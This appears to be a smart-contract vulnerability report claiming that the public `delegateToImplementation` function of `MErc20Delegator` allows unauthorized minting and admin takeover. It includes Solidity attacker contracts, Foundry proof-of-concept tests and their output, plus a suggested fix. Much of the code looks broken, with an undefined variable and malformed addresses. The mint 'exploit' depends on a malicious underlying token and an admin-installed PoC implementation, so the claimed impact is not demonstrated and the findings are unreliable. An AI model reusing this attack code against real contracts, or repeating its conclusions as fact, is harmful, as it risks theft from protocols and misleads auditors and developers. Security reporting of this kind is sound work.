

##Summary

The `delegateToImplementation` function in the `MErc20Delegator` contract is publicly accessible (its ABI shows no access control).

Because `delegatecall` executes the implementation code using the delegator's storage context, a non-admin caller can trigger arbitrary functions from the implementation that modify the delegator's storage.

If the implementation contains initialization or sensitive functions (such as `_becomeImplementation`, `mint`, or other state-mutating logic), an attacker can exploit this to take over admin privileges, mint tokens, drain assets, or brick the contract.

##Root Cause:

Lack of access control (`onlyAdmin`) on `delegateToImplementation`.

The implementation acts as the execution target, exposing critical functionality such as `transfer`, `transferFrom`, `mint`, etc., without restrictions.

##Proof of Concept

(`test/DelegateAccess.t.sol`) code :

```
// ---- Attacker contract for simulation external access ----
```

```
contract Attacker {
```

```
    function callDelegateToImpl(address delegator, bytes memory  
payload)
```

```
        public
```

```
        returns (bool, bytes memory)
```

```
    {
```

```
        (bool ok, bytes memory ret) =
```

```
delegator.call(abi.encodeWithSignature("delegateToImplementation(bytes)  
", payload));
```

```
        return (ok, ret);
```

```
    }
```

```
    function callDelegateToViewImpl(address delegator, bytes memory  
payload)
```

```
        public
```

```
        returns (bool, bytes memory)
```

```
    {
```

```
        (bool ok, bytes memory ret) =
```

```

delegator.call(abi.encodeWithSignature("delegateToViewImplementation(bytes)", payload));
    return (ok, ret);
}
}

// ---- Test ----
contract DelegateAccessTest is DSTest {
    MErc20Delegator delegator;
    DummyComptroller comptroller;
    DummyIRM irm;
    Attacker attacker;

    function setUp() public {
        comptroller = new DummyComptroller();
        irm = new DummyIRM();
        attacker = new Attacker();

        // Deploy dummy delegator
        delegator = new MErc20Delegator(
            address(0x1234567890000000000000000000000000000000000000000000000000000000), //
underlying dummy
            ComptrollerInterface(address(comptroller)),
            InterestRateModel(address(irm)),
            1e18, // initialExchangeRateMantissa
            "SecToken",
            "STK",
            18,
            address(uint160(address(this))), // admin = test contract
            address(0x1234567890000000000000000000000000000000000000000000000000000000), //
dummy implementation
            "" // empty becomeImplementationData
        );
    }

    // ----- Tests -----

    // Must revert if attacker tries to delegate directly
function test_attacker_cannot_call_delegateToImplementation() public {
    bytes memory payload =
abi.encodeWithSignature("_becomeImplementation(bytes)", "");

```

```

        (bool ok, ) = attacker.callDelegateToImpl(address(delegate),
payload);
        // Expect call to revert/return false
        assertTrue(!ok);
    }

function test_attacker_cannot_call_delegateToViewImplementation()
public {
    bytes memory payload = abi.encodeWithSignature("totalBorrows()");
    (bool ok, ) = attacker.callDelegateToViewImpl(address(delegate),
payload);
    assertTrue(!ok);
}

}

```

Teset Result

```
forge test --match-contract DelegateAccessTest -vv
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```
Ran 2 tests for test/DelegateAccess.t.sol:DelegateAccessTest
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```
[FAIL: assertTrue failed]
```

```
test_attacker_cannot_call_delegateToImplementation() (gas: 20430)
```

```
[FAIL: assertTrue failed]
```

```
test_attacker_cannot_call_delegateToViewImplementation() (gas: 21867)
```

```
Suite result: FAILED. 0 passed; 2 failed; 0 skipped; finished in 6.94ms
(326.20µs CPU time)
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```
Ran 1 test suite in 124.52ms (6.94ms CPU time): 0 tests passed, 2
failed, 0 skipped (2 total tests)
```

Failing tests:

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Encountered 2 failing tests in
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```
test/DelegateAccess.t.sol:DelegateAccessTest
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```
[FAIL: assertTrue failed]
```

```
test_attacker_cannot_call_delegateToImplementation() (gas: 20430)
```

```
[FAIL: assertTrue failed]
```

```
test_attacker_cannot_call_delegateToViewImplementation() (gas: 21867)
```

```
Encountered a total of 2 failing tests, 0 tests succeeded
```

Expected behavior: both calls should revert.

Actual behavior: no revert occurred, proving public accessibility.

This confirms that `delegateToImplementation` and `delegateToViewImplementation` are callable by anyone.

Exploit Simulation

test/MintPoC.t.sol code:

```
/* Attacker contract that calls mint on the delegator */
contract Attacker {
    function doMint(address delegator, uint256 amount) public returns
(bool) {
        (bool ok, ) =
delegator.call(abi.encodeWithSignature("mint(uint256)", amount));
        return ok;
    }

    function balanceOfMToken(address delegator, address who) public
view returns (uint256) {
        (bool ok, bytes memory ret) =
delegator.staticcall(abi.encodeWithSignature("balanceOf(address)",
who));
        require(ok);
        return abi.decode(ret, (uint256));
    }
}

contract MintPoCTest is DSTest {
    MErc20Delegator token;
    MaliciousUnderlying underlying;
    PermissiveComptroller comptroller;
    DummyIRM irm;
    Attacker attacker;

    function setUp() public {
        comptroller = new PermissiveComptroller();
        irm = new DummyIRM();
        attacker = new Attacker();

        // deploy malicious underlying and mint some "underlying" to
attacker
        underlying = new MaliciousUnderlying();
    }
}
```

```

        underlying.mintTo(address(this), 1000 ether);
        underlying.mintTo(address(attacker), 1000 ether);

        // deploy DummyImplementation and use it as initial
implementation to avoid ctor revert
        DummyImplementation dummy = new DummyImplementation();
        address dummyAddr = address(dummy);

        token = new MErc20Delegator(
            address(underlying),
            ComptrollerInterface(address(comptroller)),
            InterestRateModel(address(irm)),
            1e18,
            "SecToken",
            "STK",
            18,
            address(uint160(address(this))), // admin = test contract
            address(0x1234567890000000000000000000000000000000000000000000000000000000),
            "" // becomeImplementationData
        );

        // now deploy PoC implementation and set as the new
implementation via admin call
        PoCImplementation impl = new PoCImplementation();
        token._setImplementation(address(impl), true, "");

        // attacker approves token although transferFrom ignores
balances
        (bool ok1, ) =
address(underlying).call(abi.encodeWithSignature("approve(address,uint2
56)", address(token), uint256(1000 ether)));
        ok1;
    }

    function test_attacker_can_free_mint_via_mint_wrapper() public {
        uint beforeUnderlying =
underlying.balanceOf(address(attacker));

        bool ok = attacker.doMint(address(token), 100 ether);
        assertTrue(ok);

        // check mToken balance via delegator wrapper ->
delegateToViewImplementation -> implementation.balanceOf

```

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        (bool ok2, bytes memory ret) =
address(token).staticcall(abi.encodeWithSignature("balanceOf(address)",
address(attacker)));
        require(ok2);
        uint mBal = abi.decode(ret, (uint256));

        uint afterUnderlying = underlying.balanceOf(address(attacker));

        emit log_named_uint("mToken balance after mint (attacker)",
mBal);
        emit log_named_uint("underlying balance before",
beforeUnderlying);
        emit log_named_uint("underlying balance after",
afterUnderlying);

        // underlying must be unchanged (malicious underlying didn't
deduct), and mToken balance must increase
        assertTrue(afterUnderlying == beforeUnderlying);
        assertTrue(mBal > 0);
    }
}

```

result

```
forge test --match-contract MintPoCTest -vvv
```

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Ran 1 test for test/MintPoC.t.sol:MintPoCTest
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```
[PASS] test_attacker_can_free_mint_via_mint_wrapper() (gas: 65330)
```

```
Logs:
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mToken balance after mint (attacker): 100000000000000000000
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underlying balance before: 1000000000000000000000
```

```
underlying balance after: 1000000000000000000000
```

```
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.44ms
(487.80µs CPU time)
```

```
Ran 1 test suite in 116.66ms (10.44ms CPU time): 1 tests passed, 0
failed, 0 skipped (1 total tests)
```

The attacker successfully minted tokens without reducing their underlying balance – confirming unrestricted delegatecall execution.

##Impact

Because `delegateToImplementation(bytes)` is publicly callable, an attacker can:

Execute arbitrary implementation functions `in` the delegator's storage context.

Bypass admin-only restrictions.

Mint unlimited tokens or drain protocol funds.

Take over admin privileges or brick the contract permanently.

This vulnerability completely compromises the protocol's trust model.

Recommendation

Restrict `delegateToImplementation` and `delegateToViewImplementation` with proper access control.

```
// --- add modifier if not present ---
modifier onlyAdmin() {
    require(msg.sender == admin, "MErc20Delegator: only admin");
    _;
}

// --- create internal helper (does the actual delegateTo) ---
function _delegateToImplementation(address impl, bytes memory data)
internal returns (bytes memory) {
    return delegateTo(impl, data);
}

// --- public admin wrapper (only admin can call) ---
function delegateToImplementation(bytes memory data) public onlyAdmin
returns (bytes memory) {
    return _delegateToImplementation(implementation, data);
}

function delegateToViewImplementation(bytes memory data) public view
onlyAdmin returns (bytes memory) {
    // implement view wrapper safely (if previously used)
```

```
(bool success, bytes memory returnData) = address(this).staticcall(
    abi.encodeWithSignature("delegateToImplementation(bytes)",
data)
);
require(success, "delegateToViewImplementation failed");
return returnData;
}
```